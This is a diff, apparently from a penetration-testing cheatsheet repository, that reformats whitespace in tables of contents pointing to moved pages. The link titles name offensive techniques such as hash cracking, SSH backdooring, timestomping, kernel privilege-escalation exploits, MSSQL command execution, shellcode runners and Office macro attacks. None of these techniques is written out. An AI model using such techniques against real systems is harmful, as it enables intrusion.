 :warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/hash-cracking](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/)
 
 - [Hashcat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#hashcat)
-   - [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
+    - [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
-   - [Hashcat Install](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#hashcat-install)
+    - [Hashcat Install](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#hashcat-install)
-   - [Mask attack](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#mask-attack)
+    - [Mask attack](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#mask-attack)
-   - [Dictionary](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#dictionary)
+    - [Dictionary](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#dictionary)
 - [John](https://github.com/openwall/john)
-   - [Usage](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#john-usage)
+    - [Usage](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#john-usage)
 - [Rainbow tables](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#rainbow-tables)
 - [Tips and Tricks](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#tips-and-tricks)
 - [Online Cracking Resources](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#online-cracking-resources)
-- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#references)

Methodology and Resources/Initial Access.md

@@ -8,4 +8,4 @@
     - [Binary Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#binary-files)
     - [Code Execution Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#code-execution-files)
     - [Embedded Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#embedded-files)
-- [Code Signing](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#code-signing)
+- [Code Signing](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#code-signing)

Methodology and Resources/Linux - Evasion.md

@@ -5,4 +5,4 @@
 - [File names](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#file-names)
 - [Command history](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#command-history)
 - [Hiding text](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#hiding-text)
-- [Timestomping](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#timestomping)
+- [Timestomping](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#timestomping)

Methodology and Resources/Linux - Persistence.md

@@ -15,4 +15,4 @@
 - [Backdooring the SSH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-the-ssh)
 - [Backdooring Git](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git)
 - [Additional Linux Persistence Options](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#additional-persistence-options)
-- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#references)

Methodology and Resources/Linux - Privilege Escalation.md

@@ -43,8 +43,8 @@
     - [LXC/LXD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#lxclxd)
 - [Hijack TMUX session](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#hijack-tmux-session)
 - [Kernel Exploits](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#kernel-exploits)
-    - [CVE-2022-0847 (DirtyPipe)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2022-0847-dirtypipe)	
+    - [CVE-2022-0847 (DirtyPipe)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2022-0847-dirtypipe)
     - [CVE-2016-5195 (DirtyCow)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2016-5195-dirtycow)
     - [CVE-2010-3904 (RDS)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2010-3904-rds)
     - [CVE-2010-4258 (Full Nelson)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2010-4258-full-nelson)
-    - [CVE-2012-0056 (Mempodipper)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2012-0056-mempodipper)
+    - [CVE-2012-0056 (Mempodipper)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2012-0056-mempodipper)

Methodology and Resources/MSSQL Server - Cheatsheet.md

@@ -4,58 +4,58 @@
 
 - [Tools](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#tools)
 - [Identify Instances and Databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identifiy-instaces-and-databases)
-	- [Discover Local SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-local-sql-server-instances)
+    - [Discover Local SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-local-sql-server-instances)
-	- [Discover Domain SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-domain-sql-server-instances)
+    - [Discover Domain SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-domain-sql-server-instances)
     - [Discover Remote SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-remote-sql-instances)
-	- [Identify Encrypted databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identifiy-encrypted-databases) 
+    - [Identify Encrypted databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identifiy-encrypted-databases)
-	- [Version Query](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#version-query)
+    - [Version Query](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#version-query)
 - [Identify Sensitive Information](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identify-sensitive-information)
-	- [Get Tables from a Specific Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#get-tables-from-specific-databases)
+    - [Get Tables from a Specific Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#get-tables-from-specific-databases)
-	- [Gather 5 Entries from Each Column](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-5-entries-from-each-column)
+    - [Gather 5 Entries from Each Column](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-5-entries-from-each-column)
-	- [Gather 5 Entries from a Specific Table](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-5-entries-from-a-specific-table)
+    - [Gather 5 Entries from a Specific Table](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-5-entries-from-a-specific-table)
     - [Dump common information from server to files](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#dump-common-information-from-server-to-files)
 - [Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#linked-database)
-	- [Find Trusted Link](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-trusted-link)
+    - [Find Trusted Link](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-trusted-link)
-	- [Execute Query Through The Link](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-query-through-the-link)
+    - [Execute Query Through The Link](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-query-through-the-link)
-	- [Crawl Links for Instances in the Domain](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#crawl-links-for-instances-in-the-domain) 
+    - [Crawl Links for Instances in the Domain](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#crawl-links-for-instances-in-the-domain)
-	- [Crawl Links for a Specific Instance](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#crawl-links-for-a-specific-instance)
+    - [Crawl Links for a Specific Instance](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#crawl-links-for-a-specific-instance)
-	- [Query Version of Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#query-version-of-linked-database)
+    - [Query Version of Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#query-version-of-linked-database)
-	- [Execute Procedure on Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-procedure-on-linked-database)
+    - [Execute Procedure on Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-procedure-on-linked-database)
-	- [Determine Names of Linked Databases ](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#determine-names-of-linked-databases)
+    - [Determine Names of Linked Databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#determine-names-of-linked-databases)
-	- [Determine All the Tables Names from a Selected Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#determine-all-the-tables-names-from-a-selected-linked-database)
+    - [Determine All the Tables Names from a Selected Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#determine-all-the-tables-names-from-a-selected-linked-database)
-	- [Gather the Top 5 Columns from a Selected Linked Table](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-the-top-5-columns-from-a-selected-linked-table)
+    - [Gather the Top 5 Columns from a Selected Linked Table](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-the-top-5-columns-from-a-selected-linked-table)
-	- [Gather Entries from a Selected Linked Column](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-entries-from-a-selected-linked-column)
+    - [Gather Entries from a Selected Linked Column](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-entries-from-a-selected-linked-column)
 - [Command Execution via xp_cmdshell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#command-execution-via-xp_cmdshell)
 - [Extended Stored Procedure](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#extended-stored-procedure)
-	- [Add the extended stored procedure and list extended stored procedures](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
+    - [Add the extended stored procedure and list extended stored procedures](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
 - [CLR Assemblies](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#clr-assemblies)
-	- [Execute commands using CLR assembly](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-using-clr-assembly)
+    - [Execute commands using CLR assembly](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-using-clr-assembly)
-	- [Manually creating a CLR DLL and importing it](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#manually-creating-a-clr-dll-and-importing-it)
+    - [Manually creating a CLR DLL and importing it](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#manually-creating-a-clr-dll-and-importing-it)
 - [OLE Automation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#ole-automation)
-	- [Execute commands using OLE automation procedures](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-using-ole-automation-procedures)
+    - [Execute commands using OLE automation procedures](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-using-ole-automation-procedures)
 - [Agent Jobs](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#agent-jobs)
-	- [Execute commands through SQL Agent Job service](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-through-sql-agent-job-service)
+    - [Execute commands through SQL Agent Job service](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-through-sql-agent-job-service)
-	- [List All Jobs](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-jobs)
+    - [List All Jobs](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-jobs)
 - [External Scripts](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#external-scripts)
     - [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#python)
     - [R](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#r)
 - [Audit Checks](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#audit-checks)
-	- [Find and exploit impersonation opportunities](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-and-exploit-impersonation-opportunities) 
+    - [Find and exploit impersonation opportunities](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-and-exploit-impersonation-opportunities)
 - [Find databases that have been configured as trustworthy](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-databases-that-have-been-configured-as-trustworthy)
 - [Manual SQL Server Queries](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#manual-sql-server-queries)
-	- [Query Current User & determine if the user is a sysadmin](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#query-current-user--determine-if-the-user-is-a-sysadmin)
+    - [Query Current User & determine if the user is a sysadmin](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#query-current-user--determine-if-the-user-is-a-sysadmin)
-	- [Current Role](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#current-role)
+    - [Current Role](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#current-role)
-	- [Current DB](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#current-db)
+    - [Current DB](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#current-db)
-	- [List all tables](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-tables)
+    - [List all tables](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-tables)
-	- [List all databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-databases)
+    - [List all databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-databases)
-	- [All Logins on Server](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#all-logins-on-server)
+    - [All Logins on Server](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#all-logins-on-server)
-	- [All Database Users for a Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#all-database-users-for-a-database) 
+    - [All Database Users for a Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#all-database-users-for-a-database)
-	- [List All Sysadmins](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-sysadmins)
+    - [List All Sysadmins](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-sysadmins)
-	- [List All Database Roles](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-database-role)
+    - [List All Database Roles](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-database-role)
-	- [Effective Permissions from the Server](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#effective-permissions-from-the-server)
+    - [Effective Permissions from the Server](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#effective-permissions-from-the-server)
-	- [Effective Permissions from the Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#effective-permissions-from-the-database)
+    - [Effective Permissions from the Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#effective-permissions-from-the-database)
-	- [Find SQL Server Logins Which can be Impersonated for the Current Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
+    - [Find SQL Server Logins Which can be Impersonated for the Current Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
-	- [Exploiting Impersonation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#exploiting-impersonation)
+    - [Exploiting Impersonation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#exploiting-impersonation)
-	- [Exploiting Nested Impersonation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#exploiting-nested-impersonation)
+    - [Exploiting Nested Impersonation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#exploiting-nested-impersonation)
-	- [MSSQL Accounts and Hashes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#mssql-accounts-and-hashes)
+    - [MSSQL Accounts and Hashes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#mssql-accounts-and-hashes)
-- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#references)

Methodology and Resources/Metasploit - Cheatsheet.md

@@ -20,4 +20,4 @@
 - [Scripting Metasploit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#scripting-metasploit)
 - [Multiple transports](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#multiple-transports)
 - [Best of - Exploits](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#best-of---exploits)
-- [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#references)

Methodology and Resources/Methodology and enumeration.md

@@ -14,4 +14,4 @@
     - [Network discovery](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#network-discovery)
     - [Web discovery](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#web-discovery)
 
-- [Web Vulnerabilities](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#looking-for-web-vulnerabilities)
+- [Web Vulnerabilities](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#looking-for-web-vulnerabilities)

Methodology and Resources/Network Discovery.md

@@ -11,4 +11,4 @@
 - [Bettercap](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#bettercap)
 - [Reconnoitre](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#reconnoitre)
 - [SSL MITM with OpenSSL](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#ssl-mitm-with-openssl)
-- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#references)

Methodology and Resources/Network Pivoting Techniques.md

@@ -26,4 +26,4 @@
     - [Listen - Listen](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#listen---listen)
     - [Listen - Connect](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#listen---connect)
     - [Connect - Connect](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#connect---connect)
-- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#references)

Methodology and Resources/Office - Attacks.md

@@ -1,4 +1,4 @@
-# Office - Attacks 
+# Office - Attacks
 
 :warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/office-attacks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/)
 
@@ -34,4 +34,4 @@
     - [VBA - Offensive Security Template](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba---offensive-security-template)
     - [DOCX - Template Injection](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docx---template-injection)
     - [DOCX - DDE](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docx---dde)
-- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#references)

Methodology and Resources/Powershell - Cheatsheet.md

@@ -14,4 +14,4 @@
     - [DelegateType Reflection](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#delegatetype-reflection)
     - [Example with a simple shellcode runner](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#example-with-a-simple-shellcode-runner)
 - [Secure String to Plaintext](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#secure-string-to-plaintext)
-- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#references)